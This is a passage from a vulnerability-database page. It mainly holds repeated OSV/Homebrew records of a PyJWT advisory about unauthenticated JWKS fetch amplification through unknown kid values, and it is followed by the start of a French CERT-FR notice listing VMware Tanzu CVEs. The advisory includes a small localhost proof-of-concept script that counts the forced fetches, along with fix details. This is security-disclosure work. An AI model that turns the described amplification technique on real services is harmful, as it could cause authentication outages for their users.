"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101917"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)",
"upstream": [
"GHSA-2gx3-rcp4-g85q",
"CVE-2026-101917",
"PYSEC-2026-4140"
]
}
BREW-STRANDS-AGENTS-SOPS… (GHSA-2GX3-RCP4-G85Q)
Vulnerability from osv_homebrew – Published: 2026-09-30 09:58 – Updated: 2026-10-02 09:53 – Source websiteSummary CVE-2026-48524 (GHSA-fhv5-28vv-h8m8, "PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.
At HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.
Affected pyjwt <= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.
Proof of concept (verified on 2.13.0, cache enabled = realistic prod config) import threading, http.server, socketserver, json from jwt import PyJWKClient hits = {'n': 0} JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode() class H(http.server.BaseHTTPRequestHandler): def do_GET(self): hits['n'] += 1 self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers() self.wfile.write(JWKS) def log_message(self,*a): pass srv = socketserver.TCPServer(('127.0.0.1',0), H); port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() c = PyJWKClient(f'http://127.0.0.1/:{port}/jwks.json', cache_keys=True, lifespan=3600) for i in range(8): try: c.get_signing_key(f'attacker-unknown-kid-{i}') except Exception: pass before = hits['n'] for _ in range(5): try: c.get_signing_key('same-unknown') except Exception: pass print('distinct unknown kids: 8 -> fetches:', hits['n']) print('same unknown kid x5 -> extra fetches:', hits['n'] - before)
Output: distinct unknown kids: 8 -> fetches: 9 same unknown kid x5 -> extra fetches: 5 Each unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.
Impact One unauthenticated request -> one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -> victim -> IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.
Suggested fix Guard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.
Note: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.
Reported by Babakizo (Securva).
Maintainer update — 2026-09-10
The maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching
enabled, an unknown kid previously forced an unconditional JWKS refresh,
including when the same unknown value was repeated while the cached key set was
still valid. This allowed unauthenticated token headers to cause unnecessary
outbound JWKS requests and repeated parsing work.
The fix is now on master in commit ba4853a. PyJWKClient now applies a
30-second cooldown after successful JWKS fetches before permitting another
unknown-kid refresh, serializes concurrent refresh decisions per client, and
allows callers to configure or disable the cooldown. Cache-disabled behavior
and immediate retry after failed fetches remain unchanged.
Regression tests cover repeated unknown kids, cooldown expiry, concurrent misses, cache-disabled operation, and invalid cooldown values. The available full tox matrix, Ruff, and mypy checks pass. The fix will be included in the next released 2.x version.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.15.1",
"upstream_fixed_in": "2.14.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "strands-agents-sops",
"purl": "pkg:brew/strands-agents-sops"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.1"
},
{
"fixed": "1.1.3_2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.15.1",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.15.1"
}
]
},
"details": "Summary\nCVE-2026-48524 (GHSA-fhv5-28vv-h8m8, \"PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)\") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory\u0027s title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.\n\nAt HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.\n\nAffected\npyjwt \u003c= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.\n\nProof of concept (verified on 2.13.0, cache enabled = realistic prod config)\nimport threading, http.server, socketserver, json\nfrom jwt import PyJWKClient\nhits = {\u0027n\u0027: 0}\nJWKS = json.dumps({\"keys\":[{\"kty\":\"oct\",\"kid\":\"real\",\"k\":\"AAAA\"}]}).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n hits[\u0027n\u0027] += 1\n self.send_response(200); self.send_header(\u0027Content-Type\u0027,\u0027application/json\u0027); self.end_headers()\n self.wfile.write(JWKS)\n def log_message(self,*a): pass\nsrv = socketserver.TCPServer((\u0027[127.0.0.1](https://127.0.0.1/)\u0027,0), H); port = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nc = PyJWKClient(f\u0027http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json\u0027, cache_keys=True, lifespan=3600)\nfor i in range(8):\n try: c.get_signing_key(f\u0027attacker-unknown-kid-{i}\u0027)\n except Exception: pass\nbefore = hits[\u0027n\u0027]\nfor _ in range(5):\n try: c.get_signing_key(\u0027same-unknown\u0027)\n except Exception: pass\nprint(\u0027distinct unknown kids: 8 -\u003e fetches:\u0027, hits[\u0027n\u0027])\nprint(\u0027same unknown kid x5 -\u003e extra fetches:\u0027, hits[\u0027n\u0027] - before)\n\nOutput:\n distinct unknown kids: 8 -\u003e fetches: 9\n same unknown kid x5 -\u003e extra fetches: 5\nEach unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.\n\nImpact\nOne unauthenticated request -\u003e one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -\u003e victim -\u003e IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider\u0027s rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.\n\nSuggested fix\nGuard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.\n\nNote: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.\n\nReported by Babakizo (Securva).\n\n## Maintainer update \u2014 2026-09-10\n\nThe maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching\nenabled, an unknown `kid` previously forced an unconditional JWKS refresh,\nincluding when the same unknown value was repeated while the cached key set was\nstill valid. This allowed unauthenticated token headers to cause unnecessary\noutbound JWKS requests and repeated parsing work.\n\nThe fix is now on `master` in commit `ba4853a`. `PyJWKClient` now applies a\n30-second cooldown after successful JWKS fetches before permitting another\nunknown-`kid` refresh, serializes concurrent refresh decisions per client, and\nallows callers to configure or disable the cooldown. Cache-disabled behavior\nand immediate retry after failed fetches remain unchanged.\n\nRegression tests cover repeated unknown kids, cooldown expiry, concurrent\nmisses, cache-disabled operation, and invalid cooldown values. The available\nfull tox matrix, Ruff, and mypy checks pass. The fix will be included in the\nnext released 2.x version.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
"id": "BREW-strands-agents-sops-CVE-2026-101917",
"modified": "2026-10-02T09:53:44Z",
"published": "2026-09-30T09:58:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101917"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)",
"upstream": [
"GHSA-2gx3-rcp4-g85q",
"CVE-2026-101917",
"PYSEC-2026-4140"
]
}
BREW-SYSAIDMIN-CVE-2026-101917 (GHSA-2GX3-RCP4-G85Q)
Vulnerability from osv_homebrew – Published: 2026-10-04 12:07 – Updated: 2026-10-04 12:07 – Source websiteSummary CVE-2026-48524 (GHSA-fhv5-28vv-h8m8, "PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.
At HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.
Affected pyjwt <= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.
Proof of concept (verified on 2.13.0, cache enabled = realistic prod config) import threading, http.server, socketserver, json from jwt import PyJWKClient hits = {'n': 0} JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode() class H(http.server.BaseHTTPRequestHandler): def do_GET(self): hits['n'] += 1 self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers() self.wfile.write(JWKS) def log_message(self,*a): pass srv = socketserver.TCPServer(('127.0.0.1',0), H); port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() c = PyJWKClient(f'http://127.0.0.1/:{port}/jwks.json', cache_keys=True, lifespan=3600) for i in range(8): try: c.get_signing_key(f'attacker-unknown-kid-{i}') except Exception: pass before = hits['n'] for _ in range(5): try: c.get_signing_key('same-unknown') except Exception: pass print('distinct unknown kids: 8 -> fetches:', hits['n']) print('same unknown kid x5 -> extra fetches:', hits['n'] - before)
Output: distinct unknown kids: 8 -> fetches: 9 same unknown kid x5 -> extra fetches: 5 Each unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.
Impact One unauthenticated request -> one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -> victim -> IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.
Suggested fix Guard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.
Note: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.
Reported by Babakizo (Securva).
Maintainer update — 2026-09-10
The maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching
enabled, an unknown kid previously forced an unconditional JWKS refresh,
including when the same unknown value was repeated while the cached key set was
still valid. This allowed unauthenticated token headers to cause unnecessary
outbound JWKS requests and repeated parsing work.
The fix is now on master in commit ba4853a. PyJWKClient now applies a
30-second cooldown after successful JWKS fetches before permitting another
unknown-kid refresh, serializes concurrent refresh decisions per client, and
allows callers to configure or disable the cooldown. Cache-disabled behavior
and immediate retry after failed fetches remain unchanged.
Regression tests cover repeated unknown kids, cooldown expiry, concurrent misses, cache-disabled operation, and invalid cooldown values. The available full tox matrix, Ruff, and mypy checks pass. The fix will be included in the next released 2.x version.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.15.1",
"upstream_fixed_in": "2.14.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "sysaidmin",
"purl": "pkg:brew/sysaidmin"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.5_6"
},
{
"fixed": "0.2.5_20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.15.1",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.15.1"
}
]
},
"details": "Summary\nCVE-2026-48524 (GHSA-fhv5-28vv-h8m8, \"PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)\") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory\u0027s title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.\n\nAt HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.\n\nAffected\npyjwt \u003c= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.\n\nProof of concept (verified on 2.13.0, cache enabled = realistic prod config)\nimport threading, http.server, socketserver, json\nfrom jwt import PyJWKClient\nhits = {\u0027n\u0027: 0}\nJWKS = json.dumps({\"keys\":[{\"kty\":\"oct\",\"kid\":\"real\",\"k\":\"AAAA\"}]}).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n hits[\u0027n\u0027] += 1\n self.send_response(200); self.send_header(\u0027Content-Type\u0027,\u0027application/json\u0027); self.end_headers()\n self.wfile.write(JWKS)\n def log_message(self,*a): pass\nsrv = socketserver.TCPServer((\u0027[127.0.0.1](https://127.0.0.1/)\u0027,0), H); port = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nc = PyJWKClient(f\u0027http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json\u0027, cache_keys=True, lifespan=3600)\nfor i in range(8):\n try: c.get_signing_key(f\u0027attacker-unknown-kid-{i}\u0027)\n except Exception: pass\nbefore = hits[\u0027n\u0027]\nfor _ in range(5):\n try: c.get_signing_key(\u0027same-unknown\u0027)\n except Exception: pass\nprint(\u0027distinct unknown kids: 8 -\u003e fetches:\u0027, hits[\u0027n\u0027])\nprint(\u0027same unknown kid x5 -\u003e extra fetches:\u0027, hits[\u0027n\u0027] - before)\n\nOutput:\n distinct unknown kids: 8 -\u003e fetches: 9\n same unknown kid x5 -\u003e extra fetches: 5\nEach unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.\n\nImpact\nOne unauthenticated request -\u003e one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -\u003e victim -\u003e IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider\u0027s rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.\n\nSuggested fix\nGuard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.\n\nNote: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.\n\nReported by Babakizo (Securva).\n\n## Maintainer update \u2014 2026-09-10\n\nThe maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching\nenabled, an unknown `kid` previously forced an unconditional JWKS refresh,\nincluding when the same unknown value was repeated while the cached key set was\nstill valid. This allowed unauthenticated token headers to cause unnecessary\noutbound JWKS requests and repeated parsing work.\n\nThe fix is now on `master` in commit `ba4853a`. `PyJWKClient` now applies a\n30-second cooldown after successful JWKS fetches before permitting another\nunknown-`kid` refresh, serializes concurrent refresh decisions per client, and\nallows callers to configure or disable the cooldown. Cache-disabled behavior\nand immediate retry after failed fetches remain unchanged.\n\nRegression tests cover repeated unknown kids, cooldown expiry, concurrent\nmisses, cache-disabled operation, and invalid cooldown values. The available\nfull tox matrix, Ruff, and mypy checks pass. The fix will be included in the\nnext released 2.x version.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
"id": "BREW-sysaidmin-CVE-2026-101917",
"modified": "2026-10-04T12:07:43Z",
"published": "2026-10-04T12:07:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101917"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)",
"upstream": [
"GHSA-2gx3-rcp4-g85q",
"CVE-2026-101917",
"PYSEC-2026-4140"
]
}
CERTFR-2026-AVI-1249
Vulnerability from certfr_avis - Published: 2026-10-02 - Updated: 2026-10-02
De multiples vulnérabilités ont été découvertes dans les produits VMware. Elles permettent à un attaquant de provoquer un problème de sécurité non spécifié par l'éditeur.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
| Vendor | Product | Description | ||
|---|---|---|---|---|
| VMware | Tanzu | VMware Tanzu pour Valkey on Kubernetes versions antérieures à 3.5.1 | ||
| VMware | Tanzu | VMware Tanzu pour Postgres on Kubernetes versions antérieures à 4.5.2 | ||
| VMware | Spring Cloud Gateway | Spring Cloud Gateway pour Kubernetes versions antérieures à 2.2.17 | ||
| VMware | Tanzu | VMware Tanzu pour Valkey versions antérieures à 8.0.11 | ||
| VMware | Tanzu | VMware Tanzu pour Valkey versions 9.0.x antérieures à 9.0.6 | ||
| VMware | Tanzu | VMware Tanzu pour Valkey versions 8.1.x antérieures à 8.1.10 | ||
| VMware | Tanzu | VMware Tanzu pour Valkey versions 9.1.x antérieures à 9.1.2 | ||
| VMware | Spring Cloud Data Flow | Spring Cloud Data Flow pour Kubernetes versions antérieures à 1.6.16 |
| Title | Publication Time | Tags | ||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "VMware Tanzu pour Valkey on Kubernetes versions ant\u00e9rieures \u00e0 3.5.1",
"product": {
"name": "Tanzu",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu pour Postgres on Kubernetes versions ant\u00e9rieures \u00e0 4.5.2",
"product": {
"name": "Tanzu",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "Spring Cloud Gateway pour Kubernetes versions ant\u00e9rieures \u00e0 2.2.17",
"product": {
"name": "Spring Cloud Gateway",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu pour Valkey versions ant\u00e9rieures \u00e0 8.0.11",
"product": {
"name": "Tanzu",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu pour Valkey versions 9.0.x ant\u00e9rieures \u00e0 9.0.6",
"product": {
"name": "Tanzu",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu pour Valkey versions 8.1.x ant\u00e9rieures \u00e0 8.1.10",
"product": {
"name": "Tanzu",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu pour Valkey versions 9.1.x ant\u00e9rieures \u00e0 9.1.2",
"product": {
"name": "Tanzu",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "Spring Cloud Data Flow pour Kubernetes versions ant\u00e9rieures \u00e0 1.6.16",
"product": {
"name": "Spring Cloud Data Flow",
"vendor": {
"name": "VMware",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2026-75595",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75595"
},
{
"name": "CVE-2026-53910",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53910"
},
{
"name": "CVE-2026-56404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56404"
},
{
"name": "CVE-2026-58055",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58055"
},
{
"name": "CVE-2025-61730",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61730"
},
{
"name": "CVE-2026-54369",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54369"
},
{
"name": "CVE-2025-58183",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58183"
},
{
"name": "CVE-2026-11940",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11940"
},
{
"name": "CVE-2026-56862",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56862"
},
{
"name": "CVE-2026-53613",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53613"
},
{
"name": "CVE-2026-102271",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102271"
},
{
"name": "CVE-2026-42507",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42507"
},
{
"name": "CVE-2026-33818",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33818"
},
{
"name": "CVE-2026-39830",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39830"
},
{
"name": "CVE-2026-63384",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63384"
},
{
"name": "CVE-2026-34180",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34180"
},
{
"name": "CVE-2026-68763",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68763"
},
{
"name": "CVE-2026-33186",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33186"
},
{
"name": "CVE-2026-39826",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39826"
},
{
"name": "CVE-2026-80489",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80489"
},
{
"name": "CVE-2026-42766",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42766"
},
{
"name": "CVE-2026-13346",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13346"
},
{
"name": "CVE-2026-56846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56846"
},
{
"name": "CVE-2026-9076",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9076"
},
{
"name": "CVE-2025-22872",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22872"
},
{
"name": "CVE-2026-15310",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15310"
},
{
"name": "CVE-2026-42508",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42508"
},
{
"name": "CVE-2026-84445",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84445"
},
{
"name": "CVE-2026-1965",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1965"
},
{
"name": "CVE-2026-34181",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34181"
},
{
"name": "CVE-2026-97687",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97687"
},
{
"name": "CVE-2026-81870",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81870"
},
{
"name": "CVE-2026-58013",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58013"
},
{
"name": "CVE-2026-32288",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32288"
},
{
"name": "CVE-2025-47907",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47907"
},
{
"name": "CVE-2026-59885",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59885"
},
{
"name": "CVE-2026-42770",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42770"
},
{
"name": "CVE-2026-91776",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91776"
},
{
"name": "CVE-2026-27138",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27138"
},
{
"name": "CVE-2026-39822",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39822"
},
{
"name": "CVE-2026-39833",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39833"
},
{
"name": "CVE-2026-3783",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3783"
},
{
"name": "CVE-2026-13221",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13221"
},
{
"name": "CVE-2026-33814",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33814"
},
{
"name": "CVE-2026-27456",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27456"
},
{
"name": "CVE-2026-63074",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63074"
},
{
"name": "CVE-2026-68569",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68569"
},
{
"name": "CVE-2026-59084",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59084"
},
{
"name": "CVE-2025-58185",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58185"
},
{
"name": "CVE-2026-65183",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65183"
},
{
"name": "CVE-2026-14257",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14257"
},
{
"name": "CVE-2025-61731",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61731"
},
{
"name": "CVE-2026-58015",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58015"
},
{
"name": "CVE-2026-27137",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27137"
},
{
"name": "CVE-2026-27143",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27143"
},
{
"name": "CVE-2026-46600",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46600"
},
{
"name": "CVE-2026-69152",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69152"
},
{
"name": "CVE-2026-45445",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45445"
},
{
"name": "CVE-2026-68525",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68525"
},
{
"name": "CVE-2026-18508",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18508"
},
{
"name": "CVE-2026-39832",
